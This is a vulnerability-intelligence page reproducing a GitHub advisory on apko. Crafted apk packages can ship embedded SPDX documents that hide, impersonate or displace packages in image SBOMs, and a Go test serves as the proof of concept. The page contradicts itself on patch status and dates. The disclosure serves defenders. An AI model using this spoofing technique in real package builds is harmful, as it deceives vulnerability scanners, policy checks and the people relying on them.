llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · chainguard.dev/apko

GHSA-45CW-MP53-RRV6

apk-embedded SPDX documents can hide, impersonate, and displace packages in apko image SBOMs

Parche disponible
Descargar PNG JSON
CVSS 4.0
6.9
Media
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:H/SA:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -34 d de la divulgación
Exposición16 dDesde la divulgación, 3 nov 2026, 5:13 p. m.
Detección14 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche v1.4.6
Monitoreo
Detectada +1
30 sept 26
3 nov 26
18 nov 26
20 nov 26
30 sept 26
13 oct 26
26 oct 26
7 nov 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche v1.4.6 chainguard.dev/apko · -34 d desde divulgación
Divulgación Publicada GHSA-45CW-MP53-RRV6 divulgada · CVSS 6.9 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Impact

apko builds the package portion of an image's SPDX SBOM entirely from SPDX documents that the installed apks ship under `/var/lib/db/sbom`. It never checks that a document describes the package that shipped it, and it omits a package without error when that package's document is missing or fails to parse. A crafted apk can therefore:

  • remove itself from the image SBOM,
  • appear under another name and version, with a well-formed PURL, and
  • replace the record of a genuine package, for example reporting a patched version of a vulnerable library.

Tools that trust the SBOM act on the false data: SBOM-driven vulnerability scanners, policy engines that evaluate SBOM attestations, and license reports. apko generates the SBOM before the image is signed, so attestations built from it verify cleanly. The image's `/lib/apk/db/installed` still lists the true package set, so scanners that inspect the image filesystem are unaffected.

Images built from repositories whose packages carry no embedded SBOM, such as Alpine, receive an SBOM with no apk packages at all, with no attacker involved.

Affected data paths

All in `pkg/sbom/generator/spdx/spdx.go`, the only SBOM generator in apko:

  1. `locateApkSBOM` https://github.com/chainguard-dev/apko/blob/e3915900849d95b35f1f5b7c7401922505332152/pkg/sbom/generator/spdx/spdx.go#L185-L206 chooses a document by file name alone, trying `<name>-<version>.spdx.json`, then the version without its `-rN` suffix, then `<name>.spdx.json`. It never checks that the installed package owns the file.
  2. `ProcessInternalApkSBOM` https://github.com/chainguard-dev/apko/blob/e3915900849d95b35f1f5b7c7401922505332152/pkg/sbom/generator/spdx/spdx.go#L214-L224 returns `nil` when no document matches or the document fails to parse.
  3. `ProcessInternalApkSBOM` and `copySBOMElements` https://github.com/chainguard-dev/apko/blob/e3915900849d95b35f1f5b7c7401922505332152/pkg/sbom/generator/spdx/spdx.go#L226-L331 copy every package the document describes. Nothing compares name, version, SPDX ID, or PURL against the installed package.
  4. `Generate` https://github.com/chainguard-dev/apko/blob/e3915900849d95b35f1f5b7c7401922505332152/pkg/sbom/generator/spdx/spdx.go#L163-L173 deduplicates packages by SPDX ID and keeps the first. melange assigns predictable IDs, `SPDXRef-Package-<name>-<version>` (melange `pkg/sbom/package.go:147` https://github.com/chainguard-dev/melange/blob/d062cf25ce373bf8045d79b9897878ab207d8d36/pkg/sbom/package.go#L147), so a document processed earlier can displace a genuine record.
  5. Lines 156-160 https://github.com/chainguard-dev/apko/blob/e3915900849d95b35f1f5b7c7401922505332152/pkg/sbom/generator/spdx/spdx.go#L156-L160 are the only place apk packages enter the SBOM. apko never falls back to the installed database.
Scope
  • Packages built by melange cannot replace their own document. melange runs the build pipelines (`pkg/build/build.go:671` https://github.com/chainguard-dev/melange/blob/d062cf25ce373bf8045d79b9897878ab207d8d36/pkg/build/build.go#L671) and then writes `<name>-<version>.spdx.json`, truncating any existing file (`build.go:847` https://github.com/chainguard-dev/melange/blob/d062cf25ce373bf8045d79b9897878ab207d8d36/pkg/build/build.go#L847, `pkg/build/sbom/spdx/spdx.go:257` https://github.com/chainguard-dev/melange/blob/d062cf25ce373bf8045d79b9897878ab207d8d36/pkg/build/sbom/spdx/spdx.go#L257).
  • **A melange pipeline can add further `*.spdx.json` files** to `var/lib/db/sbom`. melange's `sbom` linter flags only files without that suffix (`pkg/linter/linters/sbom.go:30` https://github.com/chainguard-dev/melange/blob/d062cf25ce373bf8045d79b9897878ab207d8d36/pkg/linter/linters/sbom.go#L30) and warns by default (`pkg/linter/linter.go:87-90` https://github.com/chainguard-dev/melange/blob/d062cf25ce373bf8045d79b9897878ab207d8d36/pkg/linter/linter.go#L87-L90). apko uses such a file for any co-installed package that lacks a correctly named document of its own.
  • No package can overwrite another origin's document. apko refuses to install two packages from different origins that ship the same path with different content (`pkg/apk/apk/install.go:141-149` https://github.com/chainguard-dev/apko/blob/e3915900849d95b35f1f5b7c7401922505332152/pkg/apk/apk/install.go#L141-L149).
Attack prerequisites

The attacker must place a crafted apk in the resolved package set of a build, for example by publishing it to a repository the build trusts. No access to the build host is required.

Affected versions

All releases through 1.4.5. Unchecked ingestion of embedded documents ships in v0.7.0 and later. Keep-first deduplication by SPDX ID, which enables displacement of genuine records, ships in v0.19.3 and later (#1366).

Proof of concept

A table-driven test against `SPDX.Generate` on an in-memory filesystem, confirmed at `e3915900` and `739e7ce`. `Generate` returns `nil` in every case.

| Scenario | Installed | Embedded SBOM | apk entries in image SBOM |
| -- | -- | -- | -- |
| Substitution | `evil-helper 1.0.0-r0` | `evil-helper-1.0.0-r0.spdx.json` describes `openssl 9.9.9-r0`, `pkg:apk/wolfi/openssl@9.9.9-r0` | `openssl 9.9.9-r0` only |
| Missing SBOM | `no-sbom 1.0.0-r0` | none | none |
| Malformed SBOM | `broken 1.0.0-r0` | `{not json` | none |
| Displacement | `aaa 1.0.0-r0`, `openssl 3.0.1-r0` | `aaa`'s document reuses `SPDXRef-Package-openssl-3.0.1-r0` with version `3.5.0-r0` | `openssl 3.5.0-r0`; the genuine `3.0.1-r0` record is dropped |
| Name-only fallback | `busybox 1.36.1-r0`, no document of its own | added `busybox.spdx.json` says `9.9.9-r0` | `busybox 9.9.9-r0` |

Save as `pkg/sbom/generator/spdx/embedded_sbom_identity_test.go` and run `go test ./pkg/sbom/generator/spdx/ -run TestEmbeddedSBOMIdentity -v`. Each subtest passes while the defect exists.

package spdx

import (
	"context"
	"encoding/json"
	"os"
	"path/filepath"
	"testing"

	"chainguard.dev/apko/pkg/apk/apk"
	apkfs "chainguard.dev/apko/pkg/apk/fs"
)

func installedPkg(name, version, origin string) *apk.InstalledPackage {
	return &apk.InstalledPackage{Package: apk.Package{Name: name, Version: version, Origin: origin, Arch: "x86_64"}}
}

func embeddedSBOM(id, name, version, purl string) []byte {
	doc := map[string]any{
		"SPDXID":            "SPDXRef-DOCUMENT",
		"spdxVersion":       "SPDX-2.3",
		"documentDescribes": []string{id},
		"packages": []map[string]any{{
			"SPDXID":           id,
			"name":             name,
			"versionInfo":      version,
			"downloadLocation": "NOASSERTION",
			"externalRefs": []map[string]string{{
				"referenceCategory": "PACKAGE_MANAGER",
				"referenceType":     "purl",
				"referenceLocator":  purl,
			}},
		}},
	}
	b, _ := json.Marshal(doc)
	return b
}

func generateDoc(t *testing.T, fsys apkfs.FullFS, pkgs ...*apk.InstalledPackage) *Document {
	t.Helper()
	opts := testOpts(fsys)
	opts.Packages = pkgs
	out := filepath.Join(t.TempDir(), "sbom.spdx.json")
	if err := New().Generate(context.Background(), opts, out); err != nil {
		t.Fatalf("Generate: %v", err)
	}
	b, err := os.ReadFile(out)
	if err != nil {
		t.Fatal(err)
	}
	var doc Document
	if err := json.Unmarshal(b, &doc); err != nil {
		t.Fatal(err)
	}
	return &doc
}

func packageVersions(doc *Document) map[string]string {
	m := map[string]string{}
	for _, p := range doc.Packages {
		m[p.Name] = p.Version
	}
	return m
}

func TestEmbeddedSBOMIdentity(t *testing.T) {
	t.Run("mismatched SBOM substitutes a fake package", func(t *testing.T) {
		fsys := apkfs.NewMemFS()
		_ = fsys.MkdirAll("var/lib/db/sbom", 0o755)
		_ = fsys.WriteFile("var/lib/db/sbom/evil-helper-1.0.0-r0.spdx.json",
			embeddedSBOM("SPDXRef-Package-openssl-9.9.9-r0", "openssl", "9.9.9-r0", "pkg:apk/wolfi/openssl@9.9.9-r0?arch=x86_64"), 0o644)
		got := packageVersions(generateDoc(t, fsys, installedPkg("evil-helper", "1.0.0-r0", "evil-helper")))
		t.Logf("packages: %v", got)
		if _, ok := got["evil-helper"]; ok {
			t.Errorf("evil-helper present")
		}
		if got["openssl"] != "9.9.9-r0" {
			t.Errorf("fake openssl absent")
		}
	})

	t.Run("package without SBOM is silently dropped", func(t *testing.T) {
		fsys := apkfs.NewMemFS()
		_ = fsys.MkdirAll("var/lib/db/sbom", 0o755)
		got := packageVersions(generateDoc(t, fsys, installedPkg("no-sbom", "1.0.0-r0", "no-sbom")))
		t.Logf("packages: %v", got)
		if _, ok := got["no-sbom"]; ok {
			t.Errorf("no-sbom present")
		}
	})

	t.Run("malformed SBOM is silently dropped", func(t *testing.T) {
		fsys := apkfs.NewMemFS()
		_ = fsys.MkdirAll("var/lib/db/sbom", 0o755)
		_ = fsys.WriteFile("var/lib/db/sbom/broken-1.0.0-r0.spdx.json", []byte("{not json"), 0o644)
		got := packageVersions(generateDoc(t, fsys, installedPkg("broken", "1.0.0-r0", "broken")))
		t.Logf("packages: %v", got)
		if _, ok := got["broken"]; ok {
			t.Errorf("broken present")
		}
	})

	t.Run("earlier SBOM shadows a real package by SPDX ID", func(t *testing.T) {
		fsys := apkfs.NewMemFS()
		_ = fsys.MkdirAll("var/lib/db/sbom", 0o755)
		_ = fsys.WriteFile("var/lib/db/sbom/aaa-1.0.0-r0.spdx.json",
			embeddedSBOM("SPDXRef-Package-openssl-3.0.1-r0", "openssl", "3.5.0-r0", "pkg:apk/wolfi/openssl@3.5.0-r0?arch=x86_64"), 0o644)
		_ = fsys.WriteFile("var/lib/db/sbom/openssl-3.0.1-r0.spdx.json",
			embeddedSBOM("SPDXRef-Package-openssl-3.0.1-r0", "openssl", "3.0.1-r0", "pkg:apk/wolfi/openssl@3.0.1-r0?arch=x86_64"), 0o644)
		got := packageVersions(generateDoc(t, fsys,
			installedPkg("aaa", "1.0.0-r0", "aaa"), installedPkg("openssl", "3.0.1-r0", "openssl")))
		t.Logf("packages: %v", got)
		if got["openssl"] != "3.5.0-r0" {
			t.Errorf("shadowing did not occur: openssl=%q", got["openssl"])
		}
	})

	t.Run("name-only fallback lets another package author the entry", func(t *testing.T) {
		fsys := apkfs.NewMemFS()
		_ = fsys.MkdirAll("var/lib/db/sbom", 0o755)
		// busybox ships no SBOM of its own (e.g. a non-melange apk); another
		// package ships var/lib/db/sbom/busybox.spdx.json, which the linter accepts.
		_ = fsys.WriteFile("var/lib/db/sbom/busybox.spdx.json",
			embeddedSBOM("SPDXRef-Package-busybox-9.9.9-r0", "busybox", "9.9.9-r0", "pkg:apk/wolfi/busybox@9.9.9-r0?arch=x86_64"), 0o644)
		got := packageVersions(generateDoc(t, fsys, installedPkg("busybox", "1.36.1-r0", "busybox")))
		t.Logf("packages: %v", got)
		if got["busybox"] != "9.9.9-r0" {
			t.Errorf("fallback not taken: busybox=%q", got["busybox"])
		}
	})
}
Patches

None released yet. The fix, in `pkg/sbom/generator/spdx`:

  1. reads an embedded document only from a path the installed database lists among the package's own files, so a document another package installs is ignored,
  2. requires every described record, and every record carrying an apk PURL, to name the installed package at its version, with or without the `-rN` epoch, so a package's own apk entry cataloged as a reachable record stays valid,
  3. rejects a reachable record that uses an installed package's canonical SPDX ID,
  4. fails the build when a package's own document does not parse, describes nothing, or describes an element that is not a package,
  5. describes a package that ships no document from its installed-database entry and logs a warning, and
  6. fails the build when two records share an SPDX ID but differ in name, version, external references, or checksums, rather than keeping the first. Records that differ only in metadata, such as the license, are kept once, and apko logs a warning.

It also returns an error, rather than dereferencing a nil `FileInfo`, when inspecting an SBOM path fails for a reason other than the path not existing.

Limits of the fix

The fix binds each embedded document to the package that ships it: a document cannot describe another package, claim another installed package's SPDX ID, or carry another package's apk PURL. It does not make the document's other records trustworthy. A package's document still attests to its own dependencies and upstream sources, so a crafted apk can add records naming components it does not contain, provided they carry no apk PURL and no installed package's SPDX ID. An SBOM consumer can trust the apk records, but should treat the non-apk records as claims made by the package that ships them.

A crafted apk can also reuse another document's SPDX ID with a different name, version, reference, or checksum to make the build fail. apko refuses to build the image rather than record false content.

Workarounds
  • Build only from repositories whose publishers you trust and whose packages melange builds.
  • Compare the SBOM's package list with `/lib/apk/db/installed` in the image, or scan the image filesystem rather than the SBOM.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
Requisitos de ataqueAT:P
NingunoPresentes
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaPasivaActiva
Confid. (sistema)VC:N
AltoBajoNinguno
Integridad (sistema)VI:L
AltoBajoNinguno
Disponib. (sistema)VA:N
AltoBajoNinguno
Confid. (posterior)SC:N
AltoBajoNinguno
Integridad (posterior)SI:H
AltoBajoNinguno
Disponib. (posterior)SA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
chainguard.dev/apko≤ 1.4.5
1.4.5
v1.5.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gochainguard.dev/apko
Corregida v1.4.6 -34 d v1.5.0 no afectada
Versiones corregidasv1.4.6
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/chainguard-dev/apko/security/advisories/GHSA-45cw-mp53-rrv6

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.